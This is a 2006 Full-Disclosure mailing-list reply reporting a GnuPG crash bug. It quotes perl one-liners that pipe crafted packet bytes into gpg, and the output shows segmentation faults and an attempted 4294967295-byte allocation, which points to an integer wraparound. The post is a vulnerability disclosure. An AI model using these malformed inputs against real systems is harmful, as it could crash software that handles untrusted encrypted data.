Re: [Full-disclosure] GnuPG fun

On Wed, 2006-05-31 at 15:55 +0400, Evgeny Legerov wrote:
$ perl -e 'print "\xcd\xff\xff\xff\xff\xfe"'| /var/gnupg/bin/gpg --no-armor
gpg: /home/ggg/.gnupg/options:82: deprecated option "honor-http-proxy"
gpg: please use "keyserver-options http-proxy" instead

gpg: Segmentation fault caught ... exiting
Segmentation fault

Something wrapping around?

$ perl -e 'print "\xcd\xff\xff\xff\xff\xaf"'|gpg --no-armor
gpg: out of memory while allocating 4294967295 bytes

$ perl -e 'print "\xcd\xff\xff\xff\xff\xb0"'|gpg --no-armor

gpg: Segmentation fault caught ... exiting

4294967295 is 0xffffffff, of course.

Also works with gpg2 (v.1.9.20)


Attachment: signature.asc
Description: This is a digitally signed message part

Full-Disclosure - We believe in it.
Hosted and sponsored by Secunia -